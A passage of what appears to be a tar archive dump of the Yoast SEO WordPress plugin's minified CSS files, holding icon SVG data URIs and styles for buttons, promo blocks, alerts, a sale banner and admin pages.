61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.yoast-list--usp{font-family:Arial,sans-serif;margin-bottom:2rem;padding:0}.yoast-list--usp li{list-style:none!important;padding-left:1.2533333333rem;position:relative}.yoast-list--usp li:before{color:#77b227;content:"\f00c\0020";font-family:FontAwesome,Open Sans,Arial,sans-serif;left:0;position:absolute;top:0}.yoast .h1,.yoast .h2,.yoast .h3,.yoast .h4,.yoast .h5,.yoast .h6,.yoast h1,.yoast h2,.yoast h3,.yoast h4,.yoast h5,.yoast h6{display:block;font-family:Arial,sans-serif;font-weight:300;margin-top:0}.yoast .h1,.yoast h1{font-size:2.5em;letter-spacing:normal;line-height:3.68rem;margin-bottom:1.35rem}@media only screen and (min-width:30rem){.yoast .h1,.yoast h1{font-size:2.75em}}.yoast .h2,.yoast h2{font-size:1.88em;line-height:2.5rem;margin-bottom:1.2rem}.yoast .h2.tight,.yoast h2.tight{margin-bottom:.6rem}.yoast .h3,.yoast h3{font-size:1.25em;line-height:1.88rem;margin-bottom:.8rem}.yoast .h3.tight,.yoast h3.tight{margin-bottom:.4rem}@media only screen and (min-width:30rem){.yoast .h3,.yoast h3{font-size:1.375em}}@media only screen and (min-width:50rem){.yoast .h3,.yoast h3{font-size:1.5em}}.yoast .h4,.yoast .h5,.yoast .h6,.yoast h4,.yoast h5,.yoast h6{font-size:1.13em;font-weight:400;line-height:1.88rem;margin-bottom:.2rem}.yoast-button{background-color:initial;background-color:#dc5c04;border:0;color:#dc5c04;cursor:pointer;display:inline-block;font-family:Arial,sans-serif;font-size:1.1em;padding:.345em 1.5em .345em 1em;position:relative;text-decoration:none;width:100%}@media only screen and (min-width:30rem){.yoast-button{margin-right:1.36rem;max-height:2.86rem;width:auto}.yoast-button:after{border-bottom:1.44rem solid #0000;border-left:1.43rem solid #dc5c04;border-right:0;border-top:1.43rem solid #0000;content:"";height:0;position:absolute;right:-1.36rem;top:0;width:0}.yoast-button.left{margin-left:1.36rem;margin-right:0}.yoast-button.left:after{content:none}.yoast-button.left:before{border-bottom:1.44rem solid #0000;border-left:0;border-right:1.43rem solid #dc5c04;border-top:1.43rem solid #0000;content:"";height:0;left:-1.36rem;position:absolute;top:0;width:0}}.yoast-button.alignleft{margin:1rem 2.5rem 0 0!important}.yoast-button .arrow{display:none}.yoast-button+.yoast-button{margin-left:1.88rem;margin-top:1em}.yoast-button--full{width:100%}.yoast-button--full:after{content:none}.yoast-button.default{background-color:#dc5c04;color:#fff}.yoast-button.default:after{border-left-color:#dc5c04}.yoast-button.default:before{border-right-color:#dc5c04}.yoast-button a:focus,.yoast-button:hover{background-color:#f58223;color:#fff;text-decoration:underline}.yoast-button a:focus:after,.yoast-button:hover:after{border-left-color:#f58223}.yoast-button a:focus:before,.yoast-button:hover:before{border-right-color:#f58223}.yoast-button.academy{background-color:#5d237a;color:#fff}.yoast-button.academy:after{border-left-color:#5d237a}.yoast-button.academy:before{border-right-color:#5d237a}@media only screen and (max-width:20rem){.yoast-button.academy{background-color:#5d237a}}.yoast-button.academy--secondary{background-color:#a4286a;color:#fff}.yoast-button.academy--secondary:after{border-left-color:#a4286a}.yoast-button.academy--secondary:before{border-right-color:#a4286a}@media only screen and (max-width:20rem){.yoast-button.academy--secondary{background-color:#a4286a}}.yoast-button.software{background-color:#0075b3;color:#fff}.yoast-button.software:after{border-left-color:#0075b3}.yoast-button.software:before{border-right-color:#0075b3}.yoast-button.review{background-color:#009288;color:#fff}.yoast-button.review:after{border-left-color:#009288}.yoast-button.review:before{border-right-color:#009288}.yoast-button.about{background-color:#d93f69;color:#fff}.yoast-button.about:after{border-left-color:#d93f69}.yoast-button.about:before{border-right-color:#d93f69}.yoast_academy .yoast-button{background-color:#d93f69;color:#fff}.yoast_academy .yoast-button:after{border-left-color:#d93f69}.yoast_academy .yoast-button:before{border-right-color:#d93f69}.yoast_academy .yoast-button a:focus,.yoast_academy .yoast-button:hover{background-color:#d42a59;color:#fff;text-decoration:underline}.yoast_academy .yoast-button a:focus:after,.yoast_academy .yoast-button:hover:after{border-left-color:#d42a59}.yoast_academy .yoast-button a:focus:before,.yoast_academy .yoast-button:hover:before{border-right-color:#d42a59}.yoast_academy .yoast-button.dimmed,body .yoast-button.dimmed{background-color:#dcdcdc;color:#646464}.yoast_academy .yoast-button.dimmed:after,body .yoast-button.dimmed:after{border-left-color:#dcdcdc}.yoast_academy .yoast-button.dimmed:before,body .yoast-button.dimmed:before{border-right-color:#dcdcdc}.yoast_academy .yoast-button.dimmed a:focus,.yoast_academy .yoast-button.dimmed:hover,body .yoast-button.dimmed a:focus,body .yoast-button.dimmed:hover{background-color:#cdcdcd;color:#646464;text-decoration:underline}.yoast_academy .yoast-button.dimmed a:focus:after,.yoast_academy .yoast-button.dimmed:hover:after,body .yoast-button.dimmed a:focus:after,body .yoast-button.dimmed:hover:after{border-left-color:#cdcdcd}.yoast_academy .yoast-button.dimmed a:focus:before,.yoast_academy .yoast-button.dimmed:hover:before,body .yoast-button.dimmed a:focus:before,body .yoast-button.dimmed:hover:before{border-right-color:#cdcdcd}.yoast-button--noarrow:after{content:none}.yoast-button--naked{background-color:initial;border:none;padding:0}.yoast-button--naked:after{content:none}.yoast-button i.fa{font-size:140%;margin:4px 10px 0 0}.yoast-promoblock{border:1px solid #dcdcdc;box-shadow:0 1px 6px 0 #0000004d;margin-bottom:1.88rem;padding:16px}.yoast-promoblock p{color:#000}.yoast-promoblock p:last-of-type{margin-bottom:0}.yoast-promoblock i.blockicon{bottom:10px;font-size:2.25em;padding:0 0 0 .5em;position:absolute;right:10px}.yoast-promoblock a img{border:1px solid #dcdcdc}.yoast-promoblock p a{font-weight:600!important;text-decoration:underline}.yoast-promoblock form a{font-weight:400!important;text-decoration:none}.yoast-promoblock .h4,.yoast-promoblock h4{margin-bottom:.7rem}.yoast-promoblock.link{border-color:#dc5c04}.yoast-promoblock.link a,.yoast-promoblock.link a:hover{color:#dc5c04}.yoast-promoblock--white{border-color:#fff!important}.product .yoast-promoblock{overflow:hidden}.yoast-promoblock--hometitle{background-color:#d93f6940;border-color:#fff!important;display:flex;font-size:16px;font-size:1rem;height:11em;line-height:1;margin:1rem auto 2rem;max-width:16em}@media only screen and (max-width:30rem){.yoast-promoblock--hometitle:after{content:none!important}}.yoast-promoblock--imageholder{margin-bottom:0;padding:0}.yoast-promoblock--imageholdersmall{position:absolute}.yoast-promoblock--imageholdersmall:first-child{left:4rem}.yoast-promoblock--imageholdersmall:last-child{top:4rem}@media only screen and (max-width:50rem){.yoast-promoblock h2{margin-bottom:0}}a.promoblock{color:#000}a.promoblock,a.promoblock:hover{text-decoration:none}.promoblockimage__holder{height:295px;position:relative;width:240px}.yoast{color:#000;font-family:Open Sans,Arial,sans-serif;font-size:1rem;letter-spacing:.01em;line-height:1.88}.yoast *,.yoast :after,.yoast :before{box-sizing:border-box}.yoast-hr{border:0;margin:0;padding-bottom:1.88rem;position:relative}.yoast-list--usp li:before{background:var(--yoast-svg-icon-check) no-repeat;background-position:left .3em;background-size:contain;content:"";height:100%;width:1em}.yoast-button--purple{background-color:#5d237a}.yoast-button-go-to:after{border:none;content:" \00BB";height:auto;position:static;right:auto;top:auto;width:auto}.yoast-button--extension{color:#fff;padding-left:.8em;padding-right:.8em;text-transform:uppercase}.yoast-button--extension+.yoast-button--extension-activated,.yoast-button--extension+.yoast-button--extension-not-activated{margin-left:0}.yoast-button--extension-activated:hover,.yoast-button--extension-installed:hover,.yoast-button--extension-not-activated:hover{text-decoration:none}.yoast-button--extension-installed{margin-right:.2rem}.yoast-button--extension-installed,.yoast-button--extension-installed:hover{background-color:#008a00}.yoast-button--extension-not-activated,.yoast-button--extension-not-activated:hover{background-color:#dc3232}.yoast-button--extension-activated,.yoast-button--extension-activated:hover{background-color:#008a00}.yoast-button-upsell{margin-bottom:1em;width:100%}@media only screen and (min-width:30rem){.yoast-button-upsell{margin-right:1.36rem;width:auto}}.yoast-promo-extensions{display:flex;flex-wrap:wrap;margin-left:-24px}.yoast-promo-extensions>h2{margin-bottom:32px;margin-left:32px;width:100%}.yoast-promo-extension{background-color:#fff;display:flex;flex-direction:column;margin-left:32px;max-width:340px}.yoast-promo-extension:first-child{margin-left:0}.yoast-promo-extension img{float:right;height:100px;margin-bottom:.8rem;width:100px}@media screen and (max-width:900px){.yoast-promo-extension img{display:none}}.yoast-promo-extension .yoast-button-container{margin-top:auto}.yoast-promo-extension .yoast-button-container div.yoast-button--extension{cursor:default}.yoast-promo-extension .yoast-button{font-size:.9rem;max-height:none;width:100%}.yoast-promo-extension .yoast-button--installed{color:#fff}.yoast-promo-extension .yoast-button--extension{font-size:.9rem;margin-top:0;text-align:center}.yoast-promo-extension .yoast-button--extension-installed{margin:0 2% 0 0;width:48%}.yoast-promo-extension .yoast-button--extension-activated,.yoast-promo-extension .yoast-button--extension-not-activated{margin-left:0;margin-right:0;width:48%}.yoast-promo-extension .yoast-button-upsell{width:100%}.yoast-promo-extension h3{color:#a4286a}@media screen and (max-width:900px){.yoast-promo-extension{max-width:none;width:100%}}.yoast-seo-premium-extension-sale-badge{margin-top:-30px}.yoast-seo-premium-extension-sale-badge span{background:#1f2937;border-radius:14px;color:#fcd34d;font-size:14px;font-weight:600;padding:6px 12px}.yoast-seo-premium-extension{background:#fff;border:1px solid #dcdcdc;box-shadow:0 1px 6px 0 #0000004d;margin:2em .5em 1.5em;max-width:712px;padding:16px}.yoast-seo-premium-extension h2{color:#a61e69;display:flex;font-size:1.5rem;justify-content:space-between;margin-top:16px}.yoast-seo-premium-extension img{margin-left:1rem}@media screen and (max-width:900px){.yoast-seo-premium-extension{max-width:none;width:calc(100% - 8px)}.yoast-seo-premium-extension img{display:none}}.yoast-seo-premium-extension:after,.yoast-seo-premium-extension:before{content:"";display:table}.yoast-seo-premium-extension:after{clear:both}.yoast-seo-premium-benefits__item{font-size:.9rem;font-weight:400;line-height:24px;margin-bottom:8px}.yoast-seo-premium-benefits__item span{color:#404040}.yoast-seo-premium-benefits__title{font-size:.9rem;font-weight:700;line-height:24px}.yoast-seo-premium-benefits__description{font-size:.9rem;font-weight:400;line-height:24px}.yoast-link--license,.yoast-link--more-info{color:#a4286a;font-weight:600}.yoast-link--license{margin:1em 0 0}.yoast-promo-extension .yoast-link--license{display:block;margin:1em 0 0}.yoast-link--license:after{content:" \00BB"}.yoast-link--more-info{background:var(--yoast-svg-icon-info);background-position:0;background-repeat:no-repeat;background-size:1em;padding-left:calc(1em + 5px)}.yoast-link--more-info:after{content:" \00BB"}.yoast-promo-extension .yoast-link--more-info{background-position:0;display:block;margin:0}.yoast-heading-highlight{color:#a4286a;font-weight:600}.yoast-money-back-guarantee{font-size:1.1em;font-style:italic}.yoast-license-status-active{background:#008a00;color:#fff;padding:3px 6px}.yoast-license-status-inactive{background:#dc3232;color:#fff;padding:3px 6px}.yoast-promoblock.secondary.yoast-promo-extension .yoast-button-container .yoast-subscription-discount{color:#64748b;font-size:12px;margin-bottom:8px;margin-top:-8px;text-align:center}wordpress-seo/css/dist/black-friday-banner-2420-rtl.css000064400000001255147510273070016615 0ustar00.sidebar__sale_banner_container .sidebar__sale_banner{--tw-bg-opacity:1;background-color:rgb(0 0 0/var(--tw-bg-opacity));box-shadow:0 -1px 4px 0 #fcd34d,0 1px 4px 0 #fcd34d,0 -1px 0 0 #fcd34d,0 1px 0 0 #fcd34d;color:#fcd34d;font-size:1.125rem;font-weight:700;letter-spacing:.5px;line-height:30px;margin-bottom:10px;margin-right:-30px;margin-top:1.25rem;padding:.25rem 0;text-align:center;transform:rotate(5deg);width:calc(100% + 60px)}.sidebar__sale_banner_container .sidebar__sale_banner .banner_text{display:inline-block;margin:0 35px}.sidebar__sale_banner_container{margin-bottom:-25px;margin-right:-24px;margin-top:-25px;overflow:hidden;padding-bottom:10px;width:calc(100% + 48px)}wordpress-seo/css/dist/alerts-2420.css000064400000000761147510273070013516 0ustar00.yoast-alert{align-items:flex-start;border:1px solid #0003;display:flex;font-size:13px;line-height:1.5;margin:16px 0;padding:16px}.yoast-alert--error{background:#f9dcdc;color:#8f1919}.yoast-alert--info{background:#cce5ff;color:#00468f}.yoast-alert--success{background:#e2f2cc;color:#395315}.yoast-alert--warning{background:#fff3cd;color:#674e00}.yoast-alert__icon.yoast-alert__icon{display:block;height:16px;margin-right:8px;margin-top:.1rem;max-width:none;width:16px}.yoast-alert a{color:#004973}wordpress-seo/css/dist/support-2420.css000064400000000676147510273070013745 0ustar00.seo_page_wpseo_page_support{--tw-bg-opacity:1;background-color:rgb(241 245 249/var(--tw-bg-opacity));z-index:-1}.seo_page_wpseo_page_support #wpcontent{padding-left:0!important}.seo_page_wpseo_page_support #wpfooter{padding-right:1rem}@media (min-width:768px){.seo_page_wpseo_page_support #wpfooter{padding-left:17rem;padding-right:2rem}}@media screen and (max-width:782px){.seo_page_wpseo_page_support .wp-responsive-open #wpbody{right:-190px}}wordpress-seo/css/dist/monorepo-2420.css000064400000101511147510273070014055 0ustar00:root{--yoast-border-default:1px solid #0003;--yoast-color-default:#404040;--yoast-color-default-darker:#303030;--yoast-color-primary:#a4286a;--yoast-color-secondary:#f7f7f7;--yoast-color-white:#fff;--yoast-color-green:#6ea029;--yoast-color-primary-darker:#7b1e50;--yoast-color-primary-lighter:#f5d6e6;--yoast-color-secondary-darker:#d9d9d9;--yoast-color-button-upsell:#fec228;--yoast-color-button-upsell-hover:#f2ae01;--yoast-color-dark:#303030;--yoast-color-sale:#fec228;--yoast-color-sale-darker:#feb601;--yoast-color-border:#0003;--yoast-color-label:#303030;--yoast-color-label-help:#707070;--yoast-color-active:#6ea029;--yoast-color-inactive:#dc3232;--yoast-color-inactive-text:#707070;--yoast-color-inactive-grey:#9e9e9e;--yoast-color-inactive-grey-light:#f1f1f1;--yoast-color-active-light:#b6cf94;--yoast-transition-default:all 150ms ease-out;--yoast-color-link:#006dac;--yoast-color-border--default:#0003;--yoast-color-focus:0 0 0 2px #007fff,0 0 0 5px #bfdfff;--yoast-svg-icon-chevron-down:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" aria-hidden="true"><path d="M17 9.4 12 14 7 9.4l-1 1.2 6 5.4 6-5.4z"/></svg>');--yoast-svg-icon-chevron-up:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" aria-hidden="true"><path d="m12 8-6 5.4 1 1.2 5-4.6 5 4.6 1-1.2z"/></svg>');--yoast-checkmark--white:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23FFF' viewBox='0 0 512 512'%3E%3Cpath d='m173.898 439.404-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001'/%3E%3C/svg%3E");--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23m-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23m640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' aria-hidden='true' viewBox='0 0 1792 1792'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 512"><path d="M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662"/></svg>');--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='16' height='16' aria-hidden='true' viewBox='0 0 192 512'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960M944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34m848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136m0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136m1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5M384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136m1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5m0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5'/%3E%3C/svg%3E");--yoast-svg-icon-key:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" viewBox="0 0 1792 1792"><path d="M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136m851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41"/></svg>');--yoast-svg-icon-edit:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="m402.6 83.2 90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0m162-22.9-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2M384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 